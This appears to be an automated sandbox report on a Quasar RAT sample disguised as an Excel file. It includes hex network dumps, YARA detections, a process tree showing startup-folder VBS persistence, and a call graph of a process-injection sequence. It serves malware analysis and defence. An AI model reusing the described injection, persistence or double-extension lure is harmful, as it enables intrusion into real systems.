                                                                                                    2024-12-03 14:08:58 UTC8000INData Raw: 31 8b 24 14 1e 61 40 8c 9e 57 e6 f8 64 03 93 03 e8 86 20 70 e5 fc cb 6f 49 85 e6 f4 60 a1 01 cf 0f d7 a5 a8 4b 78 b7 29 fd 71 10 f3 98 14 95 54 f1 e5 c5 23 a6 5c 3a df ca 0d 3a e9 55 12 62 48 9f 8e 00 37 74 55 06 25 28 75 9f 2e 05 2f ca 93 50 58 af 6b 36 84 2b e4 78 73 8e c0 04 6a f9 55 1c 35 c0 f4 73 50 af ce 39 d2 89 e4 3a 20 a8 f0 93 9e 6f f0 6a 17 58 17 dc fe 41 9f cd 43 bf 8f d9 9c 2a 5d 78 79 71 ae f4 b1 66 bc ef d0 47 94 14 e1 72 ab 6d aa 9e 41 eb 73 81 37 07 b4 85 df f2 81 ce 88 b4 6e ba d8 b9 af f5 61 32 31 f4 24 a6 16 de e4 2b f0 8b 3e 62 bd 73 84 45 69 77 f7 59 a5 b5 f7 36 77 fb 33 f6 ec 8f b5 83 ca 5c 0b ac e0 49 b7 39 14 84 49 54 85 ab 66 a2 ba db 68 c9 65 9e 15 f9 74 76 cb f6 08 6a 63 f4 cb 7f 3a ac cc b9 73 14 17 57 fe a8 f4 bd 82 aa 0a 10
                                                                                                    Data Ascii: 1$a@Wd poI`Kx)qT#\::UbH7tU%(u./PXk6+xsjU5sP9: ojXAC*]xyqfGrmAs7na21$+>bsEiwY6w3\I9ITfhetvjc:sW
                                                                                                    2024-12-03 14:08:58 UTC8000INData Raw: b4 b3 3e b0 ab 26 81 e6 64 8e 2a c3 a4 8f 83 19 04 a5 41 de 7e fc 32 a4 89 38 16 89 c7 fd f2 bb 40 53 d6 8d 02 a2 9e fa 74 cb da 53 87 54 08 5a e7 e1 28 0d f3 47 2a 2e bc 19 b1 fc c0 88 98 bc 9d 4b 04 f8 05 23 b5 30 d4 7e 3c 1c eb 40 42 ad 22 04 16 c1 86 dc 8b 49 d5 74 ea 48 45 07 5b 1a fb 1f c9 96 17 3e f6 7b 81 57 ea f5 27 e9 19 a0 bd 51 bb d3 ba 73 ed a7 03 27 51 6f f4 c3 58 3b 77 f2 80 4b fb 62 83 d2 c5 41 02 2e e3 c5 3f a8 7a a4 5a 24 af 6f 71 b1 08 51 31 a4 4c 12 b9 53 98 14 a6 18 48 b1 d3 86 b0 44 0d a1 f2 9f e1 40 c4 67 10 54 f0 c0 1f 33 1b f4 02 dc 6f 5a 35 60 af 3c b1 91 7c bf fd 0a 67 af 29 12 98 14 9f d5 05 39 1e 38 da 5e b2 12 92 92 cb 9e 11 40 db 63 c4 95 ed 99 fe 13 20 e1 c8 e9 62 4a 30 d2 a7 bb 14 e2 d7 37 78 dc 05 d0 69 02 8e 49 58 18 f4
                                                                                                    Data Ascii: >&d*A~28@StSTZ(G*.K#0~<@B"ItHE[>{W'Qs'QoX;wKbA.?zZ$oqQ1LSHD@gT3oZ5`<|g)98^@c bJ07xiIX
                                                                                                    2024-12-03 14:08:58 UTC8000INData Raw: c3 f6 42 90 ea 1c 1e ea 9d 48 c9 17 a5 aa 7d 48 c5 df b8 e3 20 5a 50 ca 89 4c 6b 61 d9 ba 5d 1b 1a 89 c1 fb e7 e3 29 60 c8 52 28 6b 15 32 6b ff 6f 63 9a d6 92 ec 14 bb db a6 6c 6a ac 54 14 2f 5a db 4e e6 bc 8b ce 0b 8d e5 0d 78 2f fd bd 84 69 9f 16 7e 02 69 3a 4d 5a 99 5f 3c fe 93 9e e7 77 98 44 1c 8b 83 b1 e0 47 6d 80 6e d6 8e e0 79 21 ff dc 5f 33 70 19 d2 bd 8c 1e cd e3 b2 3c f0 1e 8a 0e 38 60 b8 de 3f d9 d9 c9 8a 4b 39 4f 7b 06 ef bb 1e 89 9f b6 85 1c f8 6b 9f 53 d7 a0 7e 6b 77 f1 8c a2 33 e8 52 5d 6c 91 d9 d6 ec 91 3c 9e d6 49 ce 5a 3f 4d 0b c4 82 72 13 35 7b da f1 50 c5 2c 91 c3 66 06 60 92 ad 07 45 0c 92 50 8c 18 56 63 13 5f 2f 87 ff cc 72 85 34 2e bc bb 5e 30 86 4f c0 e7 bf 0a f9 f6 84 62 08 06 f1 e7 db a9 66 50 b7 09 21 20 c3 26 93 5e 86 49 87 f9
                                                                                                    Data Ascii: BH}H ZPLka])`R(k2kocljT/ZNx/i~i:MZ_<wDGmny!_3p<8`?K9O{kS~kw3R]l<IZ?Mr5{P,f`EPVc_/r4.^0ObfP! &^I
                                                                                                    2024-12-03 14:08:58 UTC8000INData Raw: b3 0e 36 42 40 b3 e9 c2 78 d4 75 68 08 85 b7 11 11 81 0a 9e 2b a0 ba 36 24 ea 76 49 d6 e7 61 96 29 8c ef 21 8a 36 a3 3b f4 a9 7f 23 a0 5d c1 51 3f 27 71 f7 fc d2 2a 50 ab ad 78 87 5a 52 70 42 e6 d8 88 12 07 2e 25 af 7a 05 15 36 cf af 55 59 44 54 ec 91 a7 15 46 bc c8 fa e6 13 a5 4a 57 78 e4 de 6b 4c 98 d5 cc fe 51 a9 9f 7d 0b 76 9c 52 c9 95 9d a9 28 72 59 a7 d5 47 cd 9d ba 34 bb 4b 13 fb 46 7b e2 56 3d 99 79 b5 29 49 07 c1 e7 79 41 5e 54 17 d7 d9 57 06 48 f7 0d d3 8a 4a 3a 7f a4 75 d5 78 2d 95 13 8b ab 78 64 0c af 11 91 8c 3b db 89 91 4b 13 b2 88 41 37 68 f3 6a 57 12 0b ab 76 50 b8 13 4d 5c df e7 ef 6e b6 df b8 6b 35 91 f2 72 92 45 09 7d 25 75 9d b8 cd 3f c0 7e 81 1d 6f 52 36 17 ff 62 5b 7f 55 8e 54 a7 9c 4c fc 99 71 68 52 da bf ef 78 b9 b6 ad 6c 51 80 ed
                                                                                                    Data Ascii: 6B@xuh+6$vIa)!6;#]Q?'q*PxZRpB.%z6UYDTFJWxkLQ}vR(rYG4KF{V=y)IyA^TWHJ:ux-xd;KA7hjWvPM\nk5rE}%u?~oR6b[UTLqhRxlQ
                                                                                                    2024-12-03 14:08:59 UTC8000INData Raw: 69 2b a9 62 44 0b 49 5f e6 a2 2c 1a 3a 90 1e 18 1b 7d a4 60 ef 75 75 f6 08 c0 59 c1 75 5d 7f 95 83 61 31 d6 16 4f 5f 4e 8d 76 0b 57 06 c9 2c 8e 30 2c 3b eb 4f 6b f0 4d ee d7 9e 2b 2e 4d 96 e4 00 a6 c1 1c fc 91 ba e4 71 a0 51 a5 f3 90 26 f9 19 42 8d 3d 98 2e e9 72 4b 2b f6 7a 46 9c 67 6e 56 1d 9e f4 20 bd d7 54 85 ce fb 7a f9 a0 05 c5 0a de 6c 13 17 13 3f 94 b2 f3 ad 56 d0 fe 82 65 e0 cc 50 bc e1 69 1c c5 70 4c 60 5f 2f 33 da fe 33 2f 5d c4 4c 52 d2 0b 79 f8 08 83 b2 45 0d 3e 4c 89 db 2e a1 ed 33 56 b3 8d 4f 7c e9 eb b7 0a e7 91 a2 bb b5 9c 38 5f 25 73 db 20 e4 4c 2e b8 fb 46 99 91 09 6c 0e e1 aa d2 9b 4f 61 ce da 23 77 9b a6 9d 30 07 22 22 3c ea 1a 24 0d 52 4a c5 64 f2 39 1a 6c 76 cb 61 f9 53 28 0f 11 53 eb 3a 6e c8 d1 2c f1 ac 07 4f 1c c5 4d cf c9 e5 ca
                                                                                                    Data Ascii: i+bDI_,:}`uuYu]a1O_NvW,0,;OkM+.MqQ&B=.rK+zFgnV Tzl?VePipL`_/33/]LRyE>L.3VO|8_%s L.FlOa#w0""<$RJd9lvaS(S:n,OM
                                                                                                    2024-12-03 14:08:59 UTC8000INData Raw: e0 72 77 31 e9 e9 e4 83 9a 27 cd 0e c3 a0 a4 87 7f a2 31 b6 ca 35 e2 6f 7b 11 fc ec f8 9d 40 d1 40 8b d5 3c 46 dd 5e b4 6a 2b be d3 36 cd b9 21 3f fc a3 ab a3 19 16 43 ec cf f3 9e b5 b0 5e 7e 0e 10 eb c3 68 72 2f f2 4f 6d 55 be ea 63 a3 c1 a1 55 30 41 0b 18 df eb c2 6b fe 2d c8 73 dd 2b 6c 6d 1c 0a 1b b2 b4 fe c7 27 f3 69 b3 43 f5 6c af 7b ca 02 08 92 a7 ba cd 66 0f d1 e3 1c 3a f7 30 34 aa 1b eb 6a d5 fb 9a 04 22 4a 51 89 e0 41 e4 58 b6 30 9d 99 74 1a 63 74 7d 29 67 f8 e6 f9 c8 dc 5b 0f 81 04 9e de 52 7d fd d4 00 69 a9 07 35 1e 9c a8 7a a8 54 3e 21 07 bb be 09 14 78 42 c7 5c 06 c4 4e 2f 5b 07 da ed c4 34 b5 94 bf 65 52 f8 b9 83 5b a6 58 31 61 11 ab be dc 27 51 97 14 62 04 12 19 e4 6e b6 8e 51 91 b8 3f d4 da 22 33 b5 7e 68 b3 96 9d 61 66 ce 9a 47 70 df da
                                                                                                    Data Ascii: rw1'15o{@@<F^j+6!?C^~hr/OmUcU0Ak-s+lm'iCl{f:04j"JQAX0tct})g[R}i5zT>!xB\N/[4eR[X1a'QbnQ?"3~hafGp
                                                                                                    2024-12-03 14:08:59 UTC8000INData Raw: f4 f3 7f a1 5c 24 21 36 bb 7b 7a 9f 40 10 85 c7 88 07 21 c8 bf 24 64 9e d8 d0 3f 4b 99 c4 ec 63 60 8a 55 0d 0f 0b d8 4f 9c 0e e0 d0 2a 1f 25 90 ab 36 43 a0 cf c8 87 80 66 7b ae d0 a5 12 d1 a6 fb fe b8 26 45 ef 53 9f b3 30 4b 12 4b 98 d8 23 79 04 72 ec 29 f5 06 3f 82 83 1d 5f 43 e5 bf b7 dd 13 6e 13 51 9c 60 5d f1 bb f6 46 88 c5 74 66 67 d1 5d 1a d1 09 b0 03 b0 16 a0 dc d2 e9 26 95 74 3f 95 ba 91 bb 7b 9b 2f 90 3b 56 27 6b 81 39 fe ca 35 50 5c 42 25 07 00 7d d9 bc 19 dd 58 cb 5e 1c 59 0e e1 64 7d 3c 6b eb 3a f1 b1 6d 52 7a d6 8d 89 b1 f3 84 19 47 79 8f ea cc 2c 27 9e 0c bc 97 b5 43 9a f1 53 0a 92 98 e1 f7 81 b5 95 29 bd 3a db 6a f4 62 bd 0e 28 3e 18 4b fb 57 b3 df 2c 0a f8 30 14 99 b4 3d d4 4f af 9a dc b7 18 6a 91 2c e9 e2 77 ac 5e cd 8c e6 b2 14 94 81 18
                                                                                                    Data Ascii: \$!6{z@!$d?Kc`UO*%6Cf{&ES0KK#yr)?_CnQ`]Ftfg]&t?{/;V'k95P\B%}X^Yd}<k:mRzGy,'CS):jb(>KW,0=Oj,w^
                                                                                                    2024-12-03 14:08:59 UTC8000INData Raw: 71 5f c8 38 f9 35 40 23 ab 1d f6 dd 49 8e 2c 79 7b 1a 98 cb 41 78 17 c0 61 27 c5 d7 74 39 6a 49 f3 2f 5d 68 ba aa dd 6e e3 7a e1 6e 2c db 30 0d c8 a9 7c e3 b4 f5 a9 00 25 b5 e0 f9 bf 15 3c 4f 24 39 a2 e7 87 7a 7a 3d ec 08 de 88 76 6c 58 fb 67 c1 06 40 4d 27 b0 2a ee 00 fd 6c f7 37 1c d5 48 4d d4 ca c1 72 b2 14 30 8b e5 73 3c e0 73 54 20 f3 d1 ae e1 d2 c0 2b 20 18 d0 89 73 ba 35 e8 70 e0 d6 bf 30 eb 27 05 27 47 70 3e 47 a1 33 f9 25 f0 37 45 95 ae 0f dd 6f e0 cf 17 15 d4 0d a2 c0 57 f2 15 80 e1 9b c9 25 4e c1 60 b9 75 06 cf 00 8e 0c 4a fd 3d 0a 43 3f 55 51 a8 4a 99 00 21 b1 b0 8d 71 0d ff 58 d8 35 62 e9 72 92 e5 a5 63 be 10 d1 5c a9 bf d0 14 e4 29 f8 2e 84 9f 4b 74 80 9b c2 f8 27 1b aa 25 9e f0 24 e6 8e 16 6a 97 19 c0 05 a0 8c 2e 37 00 cc 20 97 cc e5 87 17
                                                                                                    Data Ascii: q_85@#I,y{Axa't9jI/]hnzn,0|%<O$9zz=vlXg@M'*l7HMr0s<sT + s5p0''Gp>G3%7EoW%N`uJ=C?UQJ!qX5brc\).Kt'%$j.7


                                                                                                    Statistics

                                                                                                    CPU Usage

                                                                                                    Click to jump to process

                                                                                                    Memory Usage

                                                                                                    Click to jump to process

                                                                                                    High Level Behavior Distribution

                                                                                                    Click to dive into process behavior distribution

                                                                                                    Behavior

                                                                                                    Click to jump to process

                                                                                                    System Behavior

                                                                                                    General

                                                                                                    Target ID:0
                                                                                                    Start time:09:08:26
                                                                                                    Start date:03/12/2024
                                                                                                    Path:C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:"C:\Users\user\Desktop\RFQ 9-XTC-204-60THD.xlsx.exe"
                                                                                                    Imagebase:0x440000
                                                                                                    File size:146'432 bytes
                                                                                                    MD5 hash:C9951FB84A416C1F329B39B2DA482348
                                                                                                    Has elevated privileges:true
                                                                                                    Has administrator privileges:true
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1574129055.0000000006EF0000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1541050756.0000000002D86000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000000.00000002.1541050756.00000000028BA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1558613210.0000000003E38000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000000.00000002.1575801263.00000000072F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    Reputation:low
                                                                                                    Has exited:true

                                                                                                    General

                                                                                                    Target ID:3
                                                                                                    Start time:09:08:45
                                                                                                    Start date:03/12/2024
                                                                                                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                                                                                    Imagebase:0xf80000
                                                                                                    File size:42'064 bytes
                                                                                                    MD5 hash:5D4073B2EB6D217C19F2B22F21BF8D57
                                                                                                    Has elevated privileges:false
                                                                                                    Has administrator privileges:false
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000003.00000002.2617888276.000000000353A000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    Reputation:moderate
                                                                                                    Has exited:false

                                                                                                    General

                                                                                                    Target ID:4
                                                                                                    Start time:09:08:54
                                                                                                    Start date:03/12/2024
                                                                                                    Path:C:\Windows\System32\wscript.exe
                                                                                                    Wow64 process (32bit):false
                                                                                                    Commandline:"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RealErrorObject.vbs"
                                                                                                    Imagebase:0x7ff6d1b50000
                                                                                                    File size:170'496 bytes
                                                                                                    MD5 hash:A47CBE969EA935BDD3AB568BB126BC80
                                                                                                    Has elevated privileges:false
                                                                                                    Has administrator privileges:false
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Reputation:high
                                                                                                    Has exited:true

                                                                                                    General

                                                                                                    Target ID:5
                                                                                                    Start time:09:08:55
                                                                                                    Start date:03/12/2024
                                                                                                    Path:C:\Users\user\AppData\Roaming\RealErrorObject.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:"C:\Users\user\AppData\Roaming\RealErrorObject.exe"
                                                                                                    Imagebase:0xa70000
                                                                                                    File size:146'432 bytes
                                                                                                    MD5 hash:C9951FB84A416C1F329B39B2DA482348
                                                                                                    Has elevated privileges:false
                                                                                                    Has administrator privileges:false
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_CosturaAssemblyLoader, Description: Yara detected Costura Assembly Loader, Source: 00000005.00000002.1821278737.0000000002EAA000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000005.00000002.1843673072.0000000004745000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000005.00000002.1821278737.0000000003258000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    Antivirus matches:
                                                                                                    • Detection: 100%, Joe Sandbox ML
                                                                                                    • Detection: 42%, ReversingLabs
                                                                                                    Reputation:low
                                                                                                    Has exited:true

                                                                                                    General

                                                                                                    Target ID:6
                                                                                                    Start time:09:09:13
                                                                                                    Start date:03/12/2024
                                                                                                    Path:C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
                                                                                                    Wow64 process (32bit):true
                                                                                                    Commandline:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
                                                                                                    Imagebase:0x790000
                                                                                                    File size:42'064 bytes
                                                                                                    MD5 hash:5D4073B2EB6D217C19F2B22F21BF8D57
                                                                                                    Has elevated privileges:false
                                                                                                    Has administrator privileges:false
                                                                                                    Programmed in:C, C++ or other language
                                                                                                    Yara matches:
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.1830201966.0000000000720000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    • Rule: JoeSecurity_Quasar, Description: Yara detected Quasar RAT, Source: 00000006.00000002.1830201966.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
                                                                                                    Reputation:moderate
                                                                                                    Has exited:true

                                                                                                    Disassembly

                                                                                                    Reset < >

                                                                                                      Execution Graph

                                                                                                      Execution Coverage:10.8%
                                                                                                      Dynamic/Decrypted Code Coverage:100%
                                                                                                      Signature Coverage:4%
                                                                                                      Total number of Nodes:223
                                                                                                      Total number of Limit Nodes:11
                                                                                                      execution_graph 67373 603e170 67374 603e1be NtProtectVirtualMemory 67373->67374 67376 603e208 67374->67376 67108 6e4a960 67109 6e4a96a 67108->67109 67113 4849100 67109->67113 67117 4849110 67109->67117 67114 4849110 67113->67114 67121 4849594 67114->67121 67118 4849125 67117->67118 67120 4849594 2 API calls 67118->67120 67119 484913b 67120->67119 67122 48495a3 67121->67122 67126 4849ef8 67122->67126 67130 4849f00 67122->67130 67123 48495d6 67127 4849f48 VirtualProtect 67126->67127 67129 4849f83 67127->67129 67129->67123 67131 4849f48 VirtualProtect 67130->67131 67133 4849f83 67131->67133 67133->67123 67312 25ec938 67313 25ec97a 67312->67313 67314 25ec980 GetModuleHandleW 67312->67314 67313->67314 67315 25ec9ad 67314->67315 67144 6036a58 67145 6036a6d 67144->67145 67149 6036fb6 67145->67149 67154 6036d4f 67145->67154 67150 6036fc0 67149->67150 67151 6036d55 67149->67151 67151->67149 67159 6037378 67151->67159 67174 6037368 67151->67174 67155 6036d55 67154->67155 67156 6036fc0 67155->67156 67157 6037368 10 API calls 67155->67157 67158 6037378 10 API calls 67155->67158 67157->67155 67158->67155 67160 603738d 67159->67160 67168 60373af 67160->67168 67190 6038152 67160->67190 67195 603794d 67160->67195 67200 6037f93 67160->67200 67205 6037eca 67160->67205 67210 60378ef 67160->67210 67215 6038465 67160->67215 67220 60380ea 67160->67220 67225 6038223 67160->67225 67231 6037b94 67160->67231 67236 6037ffa 67160->67236 67241 6037535 67160->67241 67246 6038014 67160->67246 67168->67151 67175 6037350 67174->67175 67176 6037377 67174->67176 67175->67151 67177 60373af 67176->67177 67178 6038223 2 API calls 67176->67178 67179 6038465 2 API calls 67176->67179 67180 60380ea 2 API calls 67176->67180 67181 6037eca 2 API calls 67176->67181 67182 60378ef 2 API calls 67176->67182 67183 603794d 2 API calls 67176->67183 67184 6037f93 2 API calls 67176->67184 67185 6038152 2 API calls 67176->67185 67186 6037535 2 API calls 67176->67186 67187 6038014 2 API calls 67176->67187 67188 6037b94 2 API calls 67176->67188 67189 6037ffa 2 API calls 67176->67189 67177->67151 67178->67177 67179->67177 67180->67177 67181->67177 67182->67177 67183->67177 67184->67177 67185->67177 67186->67177 67187->67177 67188->67177 67189->67177 67192 6038161 67190->67192 67191 6038234 67192->67191 67251 603fc20 67192->67251 67255 603fc28 67192->67255 67196 603795c 67195->67196 67198 603fc20 WriteProcessMemory 67196->67198 67199 603fc28 WriteProcessMemory 67196->67199 67197 60379d0 67197->67168 67198->67197 67199->67197 67201 6037fa2 67200->67201 67259 603f380 67201->67259 67263 603f388 67201->67263 67202 6037fd1 67206 6037ed9 67205->67206 67208 603f380 Wow64SetThreadContext 67206->67208 67209 603f388 Wow64SetThreadContext 67206->67209 67207 6037515 67208->67207 67209->67207 67211 6037907 67210->67211 67267 6038c98 67211->67267 67273 6038ca8 67211->67273 67212 603791f 67216 603846f 67215->67216 67296 484e868 67216->67296 67300 484e870 67216->67300 67217 6037515 67222 60380f7 67220->67222 67221 6037515 67222->67221 67223 484e870 NtResumeThread 67222->67223 67224 484e868 NtResumeThread 67222->67224 67223->67221 67224->67221 67226 6038234 67225->67226 67227 60381bb 67225->67227 67227->67225 67228 6038514 67227->67228 67229 603fc20 WriteProcessMemory 67227->67229 67230 603fc28 WriteProcessMemory 67227->67230 67229->67227 67230->67227 67232 6037b9e 67231->67232 67304 603f988 67232->67304 67308 603f981 67232->67308 67233 6037515 67237 6037515 67236->67237 67238 6037ec9 67236->67238 67239 603f380 Wow64SetThreadContext 67238->67239 67240 603f388 Wow64SetThreadContext 67238->67240 67239->67237 67240->67237 67242 6037549 67241->67242 67244 603fc20 WriteProcessMemory 67242->67244 67245 603fc28 WriteProcessMemory 67242->67245 67243 6037515 67243->67168 67244->67243 67245->67243 67247 6037515 67246->67247 67248 6037bba 67246->67248 67249 603f981 VirtualAllocEx 67248->67249 67250 603f988 VirtualAllocEx 67248->67250 67249->67247 67250->67247 67252 603fc70 WriteProcessMemory 67251->67252 67254 603fcc7 67252->67254 67254->67192 67256 603fc70 WriteProcessMemory 67255->67256 67258 603fcc7 67256->67258 67258->67192 67260 603f3cd Wow64SetThreadContext 67259->67260 67262 603f415 67260->67262 67262->67202 67264 603f3cd Wow64SetThreadContext 67263->67264 67266 603f415 67264->67266 67266->67202 67268 6038c80 67267->67268 67269 6038ca7 67267->67269 67268->67212 67270 6038ce1 67269->67270 67278 60392a1 67269->67278 67283 6039228 67269->67283 67270->67212 67274 6038cbf 67273->67274 67275 6038ce1 67274->67275 67276 60392a1 2 API calls 67274->67276 67277 6039228 2 API calls 67274->67277 67275->67212 67276->67275 67277->67275 67279 60392c6 67278->67279 67288 603ebc8 67279->67288 67292 603ebbd 67279->67292 67284 6039237 67283->67284 67286 603ebc8 CreateProcessA 67284->67286 67287 603ebbd CreateProcessA 67284->67287 67285 6038d83 67286->67285 67287->67285 67289 603ec2c CreateProcessA 67288->67289 67291 603edb4 67289->67291 67293 603ec2c CreateProcessA 67292->67293 67295 603edb4 67293->67295 67297 484e8b8 NtResumeThread 67296->67297 67299 484e8ed 67297->67299 67299->67217 67301 484e8b8 NtResumeThread 67300->67301 67303 484e8ed 67301->67303 67303->67217 67305 603f9c8 VirtualAllocEx 67304->67305 67307 603fa05 67305->67307 67307->67233 67309 603f9c8 VirtualAllocEx 67308->67309 67311 603fa05 67309->67311 67311->67233 67316 6dc1cb0 67317 6dc1ccd 67316->67317 67318 6dc1cdd 67317->67318 67323 6dc36ee 67317->67323 67327 6dc8d5b 67317->67327 67331 6dc272f 67317->67331 67335 6dc368b 67317->67335 67324 6dc36fb 67323->67324 67339 6dcefe8 67324->67339 67328 6dc8d7a 67327->67328 67330 6dcefe8 VirtualProtect 67328->67330 67329 6dc8da1 67330->67329 67332 6dca047 67331->67332 67347 6dcfed0 67332->67347 67336 6dc368f 67335->67336 67338 6dcefe8 VirtualProtect 67336->67338 67337 6dc2511 67338->67337 67341 6dcf00f 67339->67341 67343 6dcf438 67341->67343 67344 6dcf480 VirtualProtect 67343->67344 67346 6dc2511 67344->67346 67348 6dcfee5 67347->67348 67352 6df0040 67348->67352 67357 6df0007 67348->67357 67349 6dca06b 67354 6df0067 67352->67354 67353 6df0123 67353->67349 67362 6df0148 67354->67362 67366 6df0140 67354->67366 67358 6df0067 67357->67358 67360 6df0148 VirtualAlloc 67358->67360 67361 6df0140 VirtualAlloc 67358->67361 67359 6df0123 67359->67349 67360->67359 67361->67359 67363 6df0188 VirtualAlloc 67362->67363 67365 6df01c2 67363->67365 67365->67353 67367 6df0117 67366->67367 67368 6df0146 VirtualAlloc 67366->67368 67367->67353 67370 6df01c2 67368->67370 67370->67353 67377 6e4a699 67378 6e4a6a3 67377->67378 67382 484dce0 67378->67382 67387 484dcd0 67378->67387 67379 6e4a6e1 67383 484dcf5 67382->67383 67384 484dd0b 67383->67384 67392 6031ca4 67383->67392 67397 6030a8d 67383->67397 67384->67379 67388 484dcf5 67387->67388 67389 484dd0b 67388->67389 67390 6031ca4 2 API calls 67388->67390 67391 6030a8d 2 API calls 67388->67391 67389->67379 67390->67389 67391->67389 67393 6031cac 67392->67393 67402 60348d0 67393->67402 67406 60348c5 67393->67406 67394 60300b2 67394->67384 67401 6031ca7 67397->67401 67398 60300b2 67398->67384 67399 60348d0 CopyFileA 67399->67398 67400 60348c5 CopyFileA 67400->67398 67401->67399 67401->67400 67403 6034925 CopyFileA 67402->67403 67405 6034a27 67403->67405 67407 6034925 CopyFileA 67406->67407 67409 6034a27 67407->67409 67134 25ee9e0 67135 25eea26 GetCurrentProcess 67134->67135 67137 25eea78 GetCurrentThread 67135->67137 67140 25eea71 67135->67140 67138 25eeab5 GetCurrentProcess 67137->67138 67141 25eeaae 67137->67141 67139 25eeaeb GetCurrentThreadId 67138->67139 67143 25eeb44 67139->67143 67140->67137 67141->67138 67371 25ef030 DuplicateHandle 67372 25ef0c6 67371->67372

                                                                                                      Executed Functions

                                                                                                      Function 06DF4F59 Relevance: 2.6, Strings: 1, Instructions: 1352COMMON
                                                                                                      Download Yara Rule

                                                                                                      Control-flow Graph

                                                                                                      • Executed
                                                                                                      • Not Executed
                                                                                                      control_flow_graph 21 6df4f59-6df4f64 22 6df4f37-6df4f42 21->22 23 6df4f66-6df4f96 21->23 24 6df4f49-6df4f52 22->24 25 6df4f44 22->25 26 6df4f9d-6df50bf 23->26 27 6df4f98 23->27 25->24 32 6df50e3-6df50ef 26->32 33 6df50c1-6df50d7 26->33 27->26 34 6df50f6-6df50fb 32->34 35 6df50f1 32->35 310 6df50dd call 6df7af8 33->310 311 6df50dd call 6df7ae8 33->311 37 6df50fd-6df5109 34->37 38 6df5133-6df517c 34->38 35->34 39 6df510b 37->39 40 6df5110-6df512e 37->40 46 6df517e 38->46 47 6df5183-6df5448 38->47 39->40 42 6df6897-6df689d 40->42 43 6df689f-6df68bf 42->43 44 6df68c8 42->44 43->44 46->47 73 6df5e78-6df5e84 47->73 74 6df544d-6df5459 73->74 75 6df5e8a-6df5ec2 73->75 76 6df545b 74->76 77 6df5460-6df5585 74->77 84 6df5f9c-6df5fa2 75->84 76->77 112 6df5587-6df55bf 77->112 113 6df55c5-6df564e 77->113 85 6df5fa8-6df5fe0 84->85 86 6df5ec7-6df5f44 84->86 96 6df633e-6df6344 85->96 101 6df5f77-6df5f99 86->101 102 6df5f46-6df5f4a 86->102 99 6df634a-6df6392 96->99 100 6df5fe5-6df61e7 96->100 107 6df640d-6df6458 99->107 108 6df6394-6df6407 99->108 193 6df61ed-6df6281 100->193 194 6df6286-6df628a 100->194 101->84 102->101 106 6df5f4c-6df5f74 102->106 106->101 131 6df6861-6df6867 107->131 108->107 112->113 140 6df565d-6df56e1 113->140 141 6df5650-6df5658 113->141 133 6df645d-6df64df 131->133 134 6df686d-6df6895 131->134 153 6df6507-6df6513 133->153 154 6df64e1-6df64fc 133->154 134->42 167 6df56e3-6df56eb 140->167 168 6df56f0-6df5774 140->168 143 6df5e69-6df5e75 141->143 143->73 156 6df651a-6df6526 153->156 157 6df6515 153->157 154->153 159 6df6539-6df6548 156->159 160 6df6528-6df6534 156->160 157->156 164 6df654a 159->164 165 6df6551-6df6829 159->165 163 6df6848-6df685e 160->163 163->131 164->165 169 6df671e-6df6786 164->169 170 6df6557-6df65c0 164->170 171 6df65c5-6df663d 164->171 172 6df6642-6df66ab 164->172 173 6df66b0-6df6719 164->173 203 6df6834-6df6840 165->203 167->143 216 6df5776-6df577e 168->216 217 6df5783-6df5807 168->217 205 6df67fa-6df6800 169->205 170->203 171->203 172->203 173->203 218 6df6325-6df633b 193->218 195 6df628c-6df62e5 194->195 196 6df62e7-6df6324 194->196 195->218 196->218 203->163 209 6df6788-6df67e6 205->209 210 6df6802-6df680c 205->210 221 6df67ed-6df67f7 209->221 222 6df67e8 209->222 210->203 216->143 231 6df5809-6df5811 217->231 232 6df5816-6df589a 217->232 218->96 221->205 222->221 231->143 238 6df589c-6df58a4 232->238 239 6df58a9-6df592d 232->239 238->143 245 6df592f-6df5937 239->245 246 6df593c-6df59c0 239->246 245->143 252 6df59cf-6df5a53 246->252 253 6df59c2-6df59ca 246->253 259 6df5a55-6df5a5d 252->259 260 6df5a62-6df5ae6 252->260 253->143 259->143 266 